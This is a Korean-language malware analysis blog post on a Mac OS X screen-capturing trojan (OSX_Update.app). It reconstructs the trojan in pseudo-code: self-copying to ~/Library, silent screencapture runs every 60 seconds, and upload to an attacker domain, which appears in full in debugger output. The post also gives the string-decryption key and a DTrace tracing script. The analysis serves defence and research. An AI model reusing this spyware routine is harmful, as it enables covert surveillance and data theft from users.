on
Malware Analysis : Downloaded malware by LaoShu-A
예전부터 Mac OS X 악성코드 분석 글을 올리려고 했는데 이제서야 글을 올린다. 앞으로 기존에 했던 악성코드 분석 내용도 올려보도록 하겠다. 이 글을 빌어 쿨캣님에게 감사의 말을 전한다. :-)
1. 시작
2014년 1월 21일 Sophos에서 Mac OS X의 새로운 악성코드가 발견되었다는 글이 올라왔다.
Digitally signed data-stealing malware targets Mac users in "undelivered courier item" attack
쿨캣님을 통해 위 악성코드 배포자가 배포하는 다른 악성코드의 링크를 획득하여 총 두 개의 샘플을 획득했다. 참고로 이 두 샘플은 위 링크의 Sophos가 분석한 RAT에서 다운로드하여 실행하는 악성코드이며 Sophos가 분석한 RAT은 아니다. 실행 파일의 해시 값은 다음과 같다.
- MD5 (cff.app/Contents/MacOS/cff) = 467cd41726d276d3da442e2f0e65f0a0
- MD5 (OSX_Update.app/Contents/MacOS/worty) = ea2045d1344719d95f85ee8a2fcbe0a7
두 악성코드는 비슷한 임무를 수행하며, 코드도 상당히 유사하다. 같은 제작자가 개발한 변종으로 추정된다. 이 포스트에서는 이 중 하나인 "OSX_Update.app"을 분석하도록 한다.
이 악성코드의 주요 기능은 다음과 같다.
- Notification을 통한 기능수행
- 사용자 디렉터리의 라이브러리 폴더에 자신을 복사한 후 실행, 원래 동작 중인 프로세스는 특별한 임무를 수행하지 않고 종료
- 라이브러리 폴더에서 실행된 악성코드는 현재 시스템의 화면을 캡쳐
- 캡쳐한 화면을 특정 URL에 업로드
- 민감한 문자열은 전부 암호화하여 보관
악성코드 개발 환경은 xCode 이다. 참고로 xCode로 개발한 애플리케이션의 경우, 코코아 라이브러리는 전부 다 obj_msgSend의 id와 selector를 이용하여 클래스 및 메서드를 호출한다.
2. Notification을 통한 기능 수행
Mac OS X는 start->NSApplicationMain 형태로 애플리케이션을 구동하도록 되어 있다. 하지만 이 악성코드를 보면, 여기에서는 별다른 역할을 수행하지 않고 종료하는 것을 볼 수 있다.
Mac OS X에서는 NSApplicationMain을 통해 코드를 실행하는 방법 외에도 노티피케이션(Notification)을 통해 특정 클래스 함수를 실행할 수 있다. 노티피케이션이란, 두 애플리케이션, 데몬, 또는 다른 애플리케이션간의 상태 정보를 공유한다는 의미로, 내부-프로세스 통신(interprocess communication)을 수행할 수 있게 한다 [fusion_builder_container hundred_percent="yes" overflow="visible"][fusion_builder_row][fusion_builder_column type="1_1" background_position="left top" background_color="" border_size="" border_color="" border_style="solid" spacing="yes" background_image="" background_repeat="no-repeat" padding="" margin_top="0px" margin_bottom="0px" class="" id="" animation_type="" animation_speed="0.3" animation_direction="left" hide_on_mobile="no" center_content="no" min_height="none"][1]. 악성코드의 대부분의 기능이 들어있는 popAppDelegate 클래스에 애플리케이션의 실행이 완료되었을 때 발생하는 "applicationDidFinishLaunching" Notification을 받아 처리할 수 있도록 핸들러가 정의되어 있다.
Mac Developer Library를 보면, 이 메서드는 "애플리케이션이 실행된 후에 노티피케이션 센터에 의해 전송되며, 가장 처음으로 받을 수 있는 노티피케이션[2]"이라고 하며, 상속자는 이 메서드를 사용하여 추가적인 초기화 작업을 수행할 수 있다고 명시되어 있다.
applicationDidFinishLaunching:
Sent by the default notification center after the application has been launched and initialized but before it has received its first event.
- (void)applicationDidFinishLaunching:(NSNotification *)aNotificationParameters
- aNotification
- A notification named
NSApplicationDidFinishLaunchingNotification
. Calling theobject
method of this notification returns theNSApplication
object itself. </p>Discussion
Delegates can implement this method to perform further initialization. This method is called after the application’s main run loop has been started but before it has processed any events. If the application was launched by the user opening a file, the delegate’s
application:openFile:
method is called before this method. If you want to perform initialization before any files are opened, implement theapplicationWillFinishLaunching:
method in your delegate, which is called beforeapplication:openFile:
.)Availability
- Available in OS X v10.0 and later.
- Available as part of an informal protocol prior to OS X v10.6.
See Also
Declared In
NSApplication.h
즉, 이 악성코드는 'start'와 '_main'을 분석 시작점으로 잡으면 안되고, 이 노티피케이 처리 메서드를 메인(main) 함수라 생각하고 분석을 진행해야 한다. 위 코드를 보면, 이 노티피케이션 처리 메서드에서는 크게 3개의 함수를 실행하며, pseudo-code로 다음과 같이 표현될 수 있다.
- (void)applicationDidFinishLaunching:(NSNotification *)aNotification { [self wort]; // "~/Library" 디렉터리에 자신을 복사하고 실행 uint connected = 0; while(1) { while(!connected) { connected = [self eqox]; // 공격자 도메인 연결 테스트 } [self bovx]; // 60초 간격으로 화면을 캡쳐하고 공격자 서버로 전송 함. } }
즉 이 악성코드는 60초 간격으로 화면을 캡쳐하여 공격자에게 지속적으로 전송하는 악성코드이다. 이제 각 메서드에 대해 알아보도록 하자.
3. 사용자 라이브러리 폴더(~/Library)에 자신을 복사한 후 실행 (wort method)
악성코드는 최초 wort 메서드를 실행한다. 이 메서드는 현재 악성코드를 실행한 사용자의 라이브러리 디렉터리("~/Library")에 자기 자신을 복사한다.
위 내용을 pseudo 코드로 작성하면 다음과 같다.
NSString *Homepath = NSHomeDirectory(); // 사용자의 홈 디렉터리를 가져온다. NSString *currentpath = [[NSBundle mainBundle] bundlePath]; // 악성코드의 경로(.app까지)를 가져온다. NSString *Apppath = [currentpath lastPathComponent]; // 악성코드 명(OSX_Update.app)을 가져온다. NSString *librartpath = [self cxx:@"w7za3rq88br84zqSVKrrWQ=="]; // "/Library" NSString *destpath = [NSString stringWithFormat:@"%@%@%@", Homepath, librarypath, Apppath]; // destpath에 "~/Library/OSX_Update.app" 저장 NSFileManager dest = [NSFileManager defaultManager:destpath]; .... if ([dest fileExistAtPath]) // "~/Library"에 이미 파일이 있다면 { [self soz: destpath]; } else { uint return_val = [dest copyItemAtPath:currentpath toPath:destpath error: nul]; // "~/Library"에 악성코드 복사 if (!return_val) { // 파일 복사에 실패한다면 (이미 구동 중이라면..) return return_val; // "~/Library"에 위치한 악성코드가 실행 중이라면 함수를 종료 } else { [self soz: destpath]; } } sleep(30); exit(0); // 프로그램을 종료
여기에서 사용되는 경로 문자열은 전부 다 암호화되어 있다. 그리고 해당 문자열을 사용할 때마다 cxx 메서드를 이용하여 복호화를 수행한다. wort 메서드는 악성코드를 "~/Library"로 복사하고, soz 메서드를 실행한다.
soz는 "stringWithFormat"으로 "open -a $HOME/Library/OSX_Update.app" 문자열을 만들고 sqq 메서드를 실행한다. sqq 메서드는 다음과 같다.
sqq 메서드는 "/bin/sh" 명령으로 soz에서 만든 "open -a ~" 문자열을 실행(launched TaskWithLaunchPath) 한다. 위 내용을 pseudo-code로 작성하면 다음과 같다.
- (void) [PopAppDelegate sqq: openmalware] // "open -a ~/Library/ ~~"를 인자로 전달 { NSString shellpath = [self cxx:@"fHXxeLSbD5g="]; // "/bin/sh" NSArray arg = [NSArray arrayWithObjects:@"-c", @openmalware]; [NSTask launchedTaskWithLaunchPath:shellpath arguments:arg]; // "/bin/sh -c open -a $HOME/Library/OSX_Update.app" 을 실행 uint return_val = [waitUntilExit]; return return_val; }
즉, 악성코드는 복사한 악성코드를 실행하고 자기 자신을 종료하게 된다. 요약하면 다음과 같다.
- 악성코드를 "~/Library"에 복사한다
- "/bin/sh -c open -a ~/Library/OSX_Update.app"을 실행한다.
- 원본 악성코드는 exit(0);으로 종료된다.
- open으로 실행된 자신의 복사본은 파일 복사를 실패(copyItemAtPath 메서드 실패)하여 exit되지 않고 return 됨으로 다음 메서드(eqox)를 실행한다.
4. 서버 상태 체크
해당 임무가 완료되면, 주기적으로 eqox 메서드를 실행한다. 이 메서드는 공격자의 서버가 접속 가능한지 지속적으로 확인한다.
위 코드는 Objective C 코드로 작성하면 다음과 같다.
- (uint) [eqox] { NSString domainname = [self cxx:@"HtYGE4fFRj4DMt9S9V/8GlFP+BOPsjBH]; // 도메인 명을 복호화하여 저장 NSURL url = [NSURL initWithString:domainname]; NSURLRequest request = [NSURLRequest alloc] initWithURL:url cachePolicy:0x01 timeoutInterval:]; // URL 요청 패킷을 생성, cachepolicy:NSURLRequestReloadIgnoringLocalCacheData(0x01) return_val = [NSURLConnection sendSynchronousRequest:request returningResponse:nil error:nil]; if (return_val == nil) // 접속 실패 시 { return -1; } else // 접속 성공 시 { return 0; } }
해당 도메인을 복호화하면 "http://fxxxxxxh.com" 정보를 획득할 수 있다. 해당 도메인을 whois로 조회해보면 러시아에 위치한다.
whois 결과를 봐도; 자기 자신을 숨기기 위한 노력을 많이 하는 걸 볼 수 있는데, 등록자 이메일이나 주인의 이름을 Privacy Protection Service를 이용하여 숨겨두었다.
5. 현재 시스템 화면을 캡처(bovx method part 1)
도메인 접속을 확인하고 나면, bovx 메서드를 실행한다. 이 메서드는 "/tmp/yang/[dateformat].png" 파일을 인자로하여 애플의 기본 프로그램인 "screencapture" 을 실행한다.
Pseudo-Code는 다음과 같다.
- (void) [bovx] { NSString tmp = [self cxx:@“fEh3F36QAeU=“]; // "tmp" NSString yang = [self cxx:@“/I1427B/2/w=“]; // "yang" NSString path = [NSString stringWithFormat:@“%@%@%@“ tmp @“/“ yang]; NSFileManager manager = [NSFileManager defaultManager]; if (0 == [manager fileExistsAtPath:path]) // 없으면 디렉터리 생성 { [manager createDirectoryAtPath:path attributes:nil]; } NSDate date = [NSDate date] NSDateFormatter dateformat = [[NSDateFormatter alloc] init]; setformat = [dateformat setDateFormat:[self cxx:@“kLBf7h7di4kSVBDQsZgCuzfbz16dIBnW”]]; // "yy-MM-dd-HH:mm:ss" NSString screenshotdate = [setformat stringFromDate]; NSString extension = [self cxx:@ “LMHrvuDJskY”]; // ".png" NSString fullpath = [NSString stringWithFormat:@“%@%@%@%@“ tmp yang screenshotdate extension]; // "/tmp/yang/[DATE].png" NSTask screenshot_task = [[NSTask alloc] init]; [screenshot_task setLaunchPath:[cry ccx:@“rC4TpBd2mYxv6TTdiRmofpvZwEgL5qiD”]]; // "/usr/sbin/screencapture" NSArray arguments = [NSArray arrayWithObjects:@“-x” @“-T” @“60” @“fullpath”]; [screenshot_task setArguments:arguments]; [screenshot_task launch]; // "/usr/sbin/screencapture -x -T 60 /tmp/yang/[DATE].png"를 실행 [screenshot_task waitUntilExit]; sleep(30); [self bong]; return_val = sleep(30); return return_val; }
절차는 다음과 같다.
- "/tmp/yang" 폴더가 존재하는지 확인한다. 없으면 해당 디렉터리를 생성한다.
- NSTask의 launch 메서드를 이용하여 "/usr/sbin/screencapture -x -T 60 /tmp/yang/yy-MM-dd-HH:mm:ss.png" 를 실행한다. 옵션으로 인해 화면 캡처 시 소리가 나지 않게 되고(-x), 애플리케이션 실행 후, 60초 뒤에 이미지 파일을 생성(-T 60)한다.
- 명령어가 종료되면 bong 메서드를 실행한다.
6. 캡쳐된 화면을 특정 URL에 업로드 (bovx method part 2 - bong method)
bong 메서드를 이용하여 특정 URL에 악성코드가 캡쳐한 이미지를 올려둔다. 우선 URLRequest로 서버 접속을 수행한다.
그리고 나서 HTTP Request 패킷을 생성한다. 패킷에서 HTTP Method, boundary, 'Content-Type"은 암호화되어 있으므로 cxx 메서드로 복호화하여 패킷을 생성한다.
결과적으로 만들어지는 HTTP 패킷의 내용은 다음과 같다. (주요 정보는 생략하였다.)
POST hxxp://xxxx.com/doxc/aqw.php?yin=~~
multipart/form-data; boundary=------------------------2342xxx234235xxxxx230
Content-Disposition: attachment; name="userfile"; filename=xxx
Content-Type: application/octet-stream
[encoded data]
이렇게 이미지 파일 전송 작업을 마치면, 다시 서버 연결 상태를 체크하는 루틴으로 돌아가서 반복적인 작업을 수행한다.
7. 민감한 문자열은 암호화하여 보관
Mac OS X에는 고성능의 상용 패커가 전무하기 때문에 자신의 주요 정보를 암호화하는 방향으로 최대한 자신의 정보를 숨기려는 노력을 한다. 이 악성코드도 앞 서 코드를 보면 알겠지만, 대부분의 주요 데이터를 암호화하여 저장하고 있다. 이런 암호화에 사용되는 메서드가 cxx이다.
cxx 메서드는 내부적으로 cry 클래스를 사용하며 결국 cry 클래스의 end 메서드에서 암호화를, ded 메서드에서 복호화를 수행한다.
복호화를 담당하는 ded 메서드는 내부적으로 CommonCrypto(3cc) 함수인 CCCrypt를 이용하여 복호화를 수행한다. 함수에 들어가는 각각의 인자 값은 다음과 같다.
CCCrypt(KCDDecrypt, KCCAlgorithmDES, kCCOptionPKCS7Padding, [KEY], 8, IV(0x0807060504030201), [DATAIN], SizeofDataIn, [DATAOUT], dataOutAvailable, dataOutMoved);
사실 이걸 디스어셈블로 풀려면 생각보다 시간이 많이 걸릴 수 있다. 이렇게 정직한 악성코드의 경우에도 원격 디버깅을 하지 않으면 쓸데없이 분석 시간을 축낼 수 있다. 여기에서는 좀 더 편리한 방법인 DTrace(Dynamic Trace)를 사용하였다. 최초 실행 시점부터 문자열을 추출할 수 있도록 lldb(LLVM Debugger)로 시작지점에 브레이크포인트를 잡고 실행했다. 사용된 스크립트는 다음과 같다.
/* written by n0fate * dtrace -q -s cccrypt.d PID */ pid$1:libcommonCrypto.dylib:CCCrypt:entry /execname == "worty"/ { printf("%d %d %d key:%x size:%d iv:%x datainput:%x, dataoutput:%x", arg0, arg1, arg2, arg3, arg4, arg5, arg6, arg8); self->dataoutput = arg8 } pid$1:libcommonCrypto.dylib:CCCrypt:return /execname == "worty"/ { printf("(%s)n", copyinstr(self->dataoutput)); ustack(10,0); }
함수 시작 시점에 인자 값을 확인하고, 리턴된 후에 dataoutput에 저장된 문자열을 추출한다. 그리고 호출 스택을 뿌려줘서 어떤 메서드에서 해당 함수를 호출하는지 확인한다. 이로 인해, 복호화된 문자열의 원래 암호문을 손쉽게 찾을 수 있다. 수행 결과는 다음과 같다.
1 1 1 key:60802f4f0030 size:8 iv:7fff5fbfe800 datainput:608059e42740, dataoutput:7fff5fbfe810(http://fxxxxxxxxch.com) libcommonCrypto.dylib`CCCrypt+0xcd worty`0x0000000100002678+0xdd worty`0x0000000100001ee4+0x21 worty`0x00000001000013cb+0x23 worty`0x000000010000137b+0x34 CoreFoundation`__CFNOTIFICATIONCENTER_IS_CALLING_OUT_TO_AN_OBSERVER__+0xc CoreFoundation`_CFXNotificationPost+0xb4d Foundation`-[NSNotificationCenter postNotificationName:object:userInfo:]+0x44 AppKit`-[NSApplication _postDidFinishNotification]+0x121 AppKit`-[NSApplication _sendFinishLaunchingNotification]+0xc3 1 1 1 key:60002e2fb1b0 size:8 iv:7fff5fbfe7f0 datainput:600016c34f10, dataoutput:7fff5fbfe8001 1 1 key:60002e6e2130 size:8 iv:7fff5fbfe7f0 datainput:600016c34f50, dataoutput:7fff5fbfe800(yang) libcommonCrypto.dylib`CCCrypt+0xcd worty`0x0000000100002678+0xdd worty`0x0000000100001ee4+0x21 worty`0x0000000100001774+0x40 worty`0x000000010000137b+0x4e CoreFoundation`__CFNOTIFICATIONCENTER_IS_CALLING_OUT_TO_AN_OBSERVER__+0xc CoreFoundation`_CFXNotificationPost+0xb4d Foundation`-[NSNotificationCenter postNotificationName:object:userInfo:]+0x44 AppKit`-[NSApplication _postDidFinishNotification]+0x121 AppKit`-[NSApplication _sendFinishLaunchingNotification]+0xc3 1 1 1 key:60002e4f49b0 size:8 iv:7fff5fbfe7f0 datainput:60005605d710, dataoutput:7fff5fbfe800(yy-MM-dd-HH:mm:ss?_?) libcommonCrypto.dylib`CCCrypt+0xcd worty`0x0000000100002678+0xdd worty`0x0000000100001ee4+0x21 worty`0x0000000100001774+0x119 worty`0x000000010000137b+0x4e CoreFoundation`__CFNOTIFICATIONCENTER_IS_CALLING_OUT_TO_AN_OBSERVER__+0xc CoreFoundation`_CFXNotificationPost+0xb4d Foundation`-[NSNotificationCenter postNotificationName:object:userInfo:]+0x44 AppKit`-[NSApplication _postDidFinishNotification]+0x121 AppKit`-[NSApplication _sendFinishLaunchingNotification]+0xc3 1 1 1 key:60002e6e1fb0 size:8 iv:7fff5fbfe7f0 datainput:600016c348b0, dataoutput:7fff5fbfe800(.pngM-dd-HH:mm:ss?_?) libcommonCrypto.dylib`CCCrypt+0xcd worty`0x0000000100002678+0xdd worty`0x0000000100001ee4+0x21 worty`0x0000000100001774+0x150 worty`0x000000010000137b+0x4e CoreFoundation`__CFNOTIFICATIONCENTER_IS_CALLING_OUT_TO_AN_OBSERVER__+0xc CoreFoundation`_CFXNotificationPost+0xb4d Foundation`-[NSNotificationCenter postNotificationName:object:userInfo:]+0x44 AppKit`-[NSApplication _postDidFinishNotification]+0x121 AppKit`-[NSApplication _sendFinishLaunchingNotification]+0xc3 1 1 1 key:60002e6e1f30 size:8 iv:7fff5fbfe7f0 datainput:600055e44870, dataoutput:7fff5fbfe800(/usr/sbin/screencapture) libcommonCrypto.dylib`CCCrypt+0xcd worty`0x0000000100002678+0xdd worty`0x0000000100001ee4+0x21 worty`0x0000000100001774+0x1b6 worty`0x000000010000137b+0x4e CoreFoundation`__CFNOTIFICATIONCENTER_IS_CALLING_OUT_TO_AN_OBSERVER__+0xc CoreFoundation`_CFXNotificationPost+0xb4d Foundation`-[NSNotificationCenter postNotificationName:object:userInfo:]+0x44 AppKit`-[NSApplication _postDidFinishNotification]+0x121 AppKit`-[NSApplication _sendFinishLaunchingNotification]+0xc3 (/tmp) libcommonCrypto.dylib`CCCrypt+0xcd worty`0x0000000100002678+0xdd worty`0x0000000100001ee4+0x21 worty`0x0000000100001774+0x29 worty`0x000000010000137b+0x4e CoreFoundation`__CFNOTIFICATIONCENTER_IS_CALLING_OUT_TO_AN_OBSERVER__+0xc CoreFoundation`_CFXNotificationPost+0xb4d Foundation`-[NSNotificationCenter postNotificationName:object:userInfo:]+0x44 AppKit`-[NSApplication _postDidFinishNotification]+0x121 AppKit`-[NSApplication _sendFinishLaunchingNotification]+0xc3 1 1 1 key:60802f4e8330 size:8 iv:7fff5fbfe680 datainput:60802f87e050, dataoutput:7fff5fbfe690(hxxp://fxxxxxxxxxx.com/doxc/aqw.php?yin=%@3??) libcommonCrypto.dylib`CCCrypt+0xcd worty`0x0000000100002678+0xdd worty`0x0000000100001ee4+0x21 worty`0x00000001000019c6+0x185 worty`0x0000000100001774+0x23a worty`0x000000010000137b+0x4e CoreFoundation`__CFNOTIFICATIONCENTER_IS_CALLING_OUT_TO_AN_OBSERVER__+0xc CoreFoundation`_CFXNotificationPost+0xb4d Foundation`-[NSNotificationCenter postNotificationName:object:userInfo:]+0x44 AppKit`-[NSApplication _postDidFinishNotification]+0x121
모든 복호화된 문자열을 획득하였으며, 각 암호문과 매핑하여 빠르게 분석을 진행할 수 있다. 복호화를 위한 키 추출은 위에서 설명한 lldb와 DTrace를 이용하여 찾을 수 있다.
// lldb - set BreakPoint at CCCrypt (lldb) b 0x100002750 Breakpoint 1: where = worty`___lldb_unnamed_function21$$worty + 216, address = 0x0000000100002750 (lldb) c Process 976 resuming // DTRACE 1 1 1 key:100233380 size:8 iv:7fff5fbfe710 datainput:100271160, dataoutput:7fff5fbfe720(http://floracrunch.com) libcommonCrypto.dylib`CCCrypt+0xcd worty`0x0000000100002678+0xdd worty`0x0000000100001ee4+0x21 worty`0x00000001000013cb+0x23 worty`0x000000010000137b+0x34 CoreFoundation`__CFNOTIFICATIONCENTER_IS_CALLING_OUT_TO_AN_OBSERVER__+0xc CoreFoundation`_CFXNotificationPost+0xb4d Foundation`-[NSNotificationCenter postNotificationName:object:userInfo:]+0x44 AppKit`-[NSApplication _postDidFinishNotification]+0x121 AppKit`-[NSApplication _sendFinishLaunchingNotification]+0xc3 // lldb - Find the IV and symmetric key Process 976 stopped * thread #1: tid = 0xac8b, 0x0000000100002750 worty`___lldb_unnamed_function21$$worty + 216, queue = 'com.apple.main-thread, stop reason = breakpoint 1.1 frame #0: 0x0000000100002750 worty`___lldb_unnamed_function21$$worty + 216 worty`___lldb_unnamed_function21$$worty + 216: -> 0x100002750: callq 0x1000030c8 ; symbol stub for: CCCrypt 0x100002755: movl %eax, %ecx 0x100002757: xorl %eax, %eax 0x100002759: testl %ecx, %ecx (lldb) x/8xb 7fff5fbfe710 // IV 0x7fff5fbfe710: 0x01 0x02 0x03 0x04 0x05 0x06 0x07 0x08 (lldb) x/8xb 0x100233380 // decryption key 0x100233380: 0xc2 0xb6 0xc2 0xb6 0xc2 0xb6 0xc2 0xb6 (lldb)
IV는 위에서 분석한 값과 동일하며, 키는 0xb6c2b6c2b6c2b6c2 인 것을 확인할 수 있다.
8. 결론
이 악성코드는 과거에 발견되었던 Kitmos와 거의 동일한 기능을 수행하나, 자기 자신의 주요 정보를 숨기는 등 좀 더 고도화된 모습을 보여준다. 이 악성코드는 최초 획득한 URL에 있는 데이터와 악성코드가 생성하는 폴더 정보를 보면, 중국 쪽에서 개발된 것으로 추정된다. 과거에 Tibet과의 분쟁으로 한창 티벳을 대상으로 하는 악성코드가 발견되었지만, 최근에는 사람들에게 안전하다고 각인되어 있는 Mac OS X를 대상으로 공격을 진행하는 사례가 늘어나고 있다. 특히 Mac OS X의 악성코드의 개발 의도를 보면, 윈도우 악성코드처럼 돈을 벌기 위한 수단이라기 보다는 정치적인 성향을 많이 띄고 있으며, 국가간 분쟁 지역을 향한 공격이 많이 행해지고 있다. 사용자가 신뢰하는 앱스토어를 통해 유포하는 것은 기본이고, 애플리케이션의 확장자 변조로 실행 파일을 문서화일로 보이게 만드는 것도 손쉽기 때문에 앞으로도 많은 악성코드가 개발되어 질 것이라 생각한다.
국가 또는 조직 내에서 특정 운영체제의 점유율이 적다고해서 보안의 테두리에서 제외 시키면, 그로인해 정보가 유출될 수 있으며 보안업체도 이러한 상황을 사전에 준비하지 못하면 이로 인한 침해사고 대응 속도가 떨어질 수 밖에 없음을 인지해야 할 것이다. :-)
[/fusion_builder_column][/fusion_builder_row][/fusion_builder_container]